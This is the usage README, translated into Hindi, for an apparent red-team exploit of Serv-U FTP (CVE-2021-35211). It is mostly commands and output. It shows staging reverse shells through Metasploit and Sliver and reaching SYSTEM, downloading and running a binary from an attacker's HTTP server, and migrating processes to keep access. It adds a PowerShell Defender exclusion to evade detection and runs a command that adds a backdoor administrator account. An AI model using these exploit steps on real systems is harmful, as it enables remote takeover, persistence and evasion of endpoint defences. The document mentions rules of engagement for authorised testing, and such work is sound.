
Serv-U-FTP CVE-2021-35211 शोषण
यह शोषण हर बार काम नहीं करता, लेकिन यह पर्याप्त रूप से काम करता है कि लगभग 5 या 6 में से 1 बार शेलकोड चलाएगा। हालांकि, कभी-कभी असफल शोषण Serv-U सर्वर को क्रैश कर देगा। कृपया सुनिश्चित करें कि आपके जुड़ाव के नियम सेवा में हानि या गिरावट के जोखिम की अनुमति देते हैं। परीक्षण में देखे गए लक्षणों में शामिल हैं:
क्रेता सावधान।
संस्करण महत्वपूर्ण हैं। यह शोषण हार्ड-कोडेड ROP पतों का उपयोग करता है जो केवल Serv-U संस्करण 15.2.3.717 के विरुद्ध मान्य हैं। हम अन्य संस्करण जोड़ सकते हैं, कृपया पूछें यदि आपको Serv-U या Windows के विभिन्न संस्करणों के साथ काम करने की आवश्यकता है।
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717
यह निम्नलिखित तर्क लेता है:
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...
तीन मोड (या पेलोड) हैं जिन्हें आप एक सफल हमले में चला सकते हैं:
stageexecdownloadexecसफल शोषण पर, Metasploit/Sliver-संगत शेलकोड स्टेजर चलाता है। यह सभी पेलोड में सबसे कम विश्वसनीय है; इसके बजाय downloadexec पर विचार करें। इसे इस प्रकार चलाएं:
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort
positional arguments:
stageHost आपके Metasploit/Sliver शेलकोड स्टेजिंग इंस्टेंस का होस्टनाम या IPv4 पता
stagePort आपके स्टेजिंग इंस्टेंस के लिए पोर्ट नंबर
optional arguments:
-h, --help इस सहायता संदेश को दिखाएं और बाहर निकलें
stageHost और stagePort आपके Sliver/Metasploit मशीन पर एक सुनने वाले हैंडलर की ओर इशारा करेंगे। आप अपनी पसंद का कोई भी पेलोड चुन सकते हैं, लेकिन मैंने पाया है कि केवल windows/x64/shell/reverse_tcp ही विश्वसनीय रूप से काम करता है। यह शर्म की बात है क्योंकि यह एन्क्रिप्टेड शेल नहीं है और आपको ऐसा कुछ चलाने से पहले अपने जुड़ाव के नियमों की जाँच करनी होगी।
फिर से, क्रेता सावधान।
इसे अपने kali बॉक्स पर चल रहे Metasploit में इस प्रकार सेट करें:
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.
फिर शोषण चलाएं:
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
वापस kali बॉक्स पर आपको स्टेज अनुरोध और कमांड शेल शुरू होते देखना चाहिए:
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000
msf5 >sessions -i 6
[*] Starting interaction with 6...
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system
स्टेजर पेलोड में Sliver समर्थन अत्यधिक प्रायोगिक है और शायद ही कभी काम करता है। यदि यह काम करता है तो आप सामान्यतः सत्र शुरू होते और तुरंत मरते देखेंगे। लेकिन यदि आपको एक ऐसा सत्र मिलता है जो तुरंत समाप्त नहीं होता है, तो आप एक अलग प्रक्रिया में माइग्रेट करके अपने Sliver एक्सेस को बनाए रखने के लिए कदम उठा सकते हैं।
अपने Sliver सर्वर पर अपना लिसनर सेट करने के लिए stage-listener कमांड चलाएं। स्टेजिंग के बारे में अधिक जानकारी के लिए Sliver दस्तावेज़ देखें:
elvis@h:/ehome/haggis$ sudo sliver-server
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command
sliver >
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode
शोषण को स्टेज मोड में चलाएं:
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
यदि शोषण काम करता है (और यह Sliver या Meterpreter पेलोड के साथ बहुत कम काम करता है), तो आप कुछ इस तरह देखेंगे (और हाँ, Sliver ने वह पेलोड नाम पूरी तरह से खुद बनाया!):
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC
sliver > sessions -i 4
[*] Active session ARTISTIC_PANTIES (4)
sliver (ARTISTIC_PANTIES) > info
ID: 4
Name: ARTISTIC_PANTIES
Hostname: WIN-EMCK6E5O0DI
UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
Username: NT AUTHORITY\SYSTEM
UID: S-1-5-18
GID: S-1-5-18
PID: 3956
OS: windows
Version: Server 2016 build 20348 x86_64
Arch: amd64
Remote Address: example.com:57071
Proxy URL: none
Poll Interval: 1
Reconnect Interval: 60
आपको सबसे पहले एक अलग प्रक्रिया में माइग्रेट करना चाहिए क्योंकि एक अच्छा मौका है कि आपका Sliver सत्र मर जाएगा और वापस नहीं आएगा, और मैं लिखने के समय मूल कारण नहीं जानता।
sliver (ARTISTIC_PANTIES) > ps
pid ppid owner executable session
=== ==== ===== ========== =======
0 0 [System Process] -1
4 0 System 0
...
3872 728 NT AUTHORITY\SYSTEM svchost.exe 0
4868 728 BUILTIN\Administrators Serv-U.exe 0
4636 868 BUILTIN\Administrators dllhost.exe 0
sliver (ARTISTIC_PANTIES) > migrate 3872
[*] Successfully migrated to 3872
इस बिंदु पर आपके पास एक ठोस Sliver सत्र होना चाहिए जो Serv-U और इस शोषण की अनियमितताओं से प्रतिरक्षित हो।
सबसे विश्वसनीय मोड और Microsoft Defender एंड-पॉइंट सुरक्षा द्वारा पकड़े जाने की सबसे कम संभावना। ऐसा इसलिए है क्योंकि यह Microsoft Defender में एक निर्देशिका बहिष्करण जोड़ने के लिए एक Powershell कमांड (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") का उपयोग करता है ताकि Sliver/Meterpreter/जो भी बाइनरी मैलवेयर के लिए स्कैन न हों। यह आपको Windows Defender से बचाएगा, लेकिन बस इतना ही; आपको अन्य एंड-पॉइंट सुरक्षा तकनीक, नेटवर्क IDS आदि का हिसाब रखना होगा।
सफलता पर, एक URL से एक बाइनरी डाउनलोड करता है और उसे निष्पादित करता है। आपको अपनी निष्पादन योग्य फ़ाइल होस्ट करने वाले एक वेबसर्वर की आवश्यकता होगी। मैंने Python का उपयोग किया, लेकिन कृपया ध्यान दें कि मैं SSL के बिना स्थानीय नेटवर्क पर परीक्षण कर रहा हूं। वास्तविक शोषण में यदि आप अनएन्क्रिप्टेड URL का उपयोग करना चाहते हैं तो आपको अपने जुड़ाव के नियमों की जाँच करनी होगी।
पहली बार नहीं: क्रेता सावधान।
एक सरल HTTP लिसनर इस प्रकार चलाएं:
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
लिसनर चलने के साथ आप शोषण चला सकते हैं:
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
आपको अपने लिसनर में कुछ इस तरह देखना चाहिए:
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -
लक्ष्य calc.exe को निष्पादित करेगा और उपयोगकर्ताओं को फिर से कनेक्ट करने की अनुमति देने के लिए Serv-U सेवा को पुनरारंभ करेगा। ध्यान दें कि निष्पादन योग्य एक विंडो प्रस्तुत नहीं करेगा, लेकिन यदि आप यह उदाहरण चलाते हैं तो आपको कार्य प्रबंधक में wincalc.exe देखना चाहिए।
सफलता पर, लक्ष्य पर एक कमांड चलाता है। इसे इस प्रकार चलाएं:
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
यह शोषण दुर्भाग्य से दूरस्थ प्रक्रिया को क्रैश करता है। आम तौर पर यह पुनरारंभ होता है और मैं देख रहा हूं कि क्या मैं इसे और अधिक स्थिर बना सकता हूं, लेकिन तब तक कृपया याद रखें: अपने जुड़ाव के नियमों की जाँच करें और क्रेता सावधान रहें।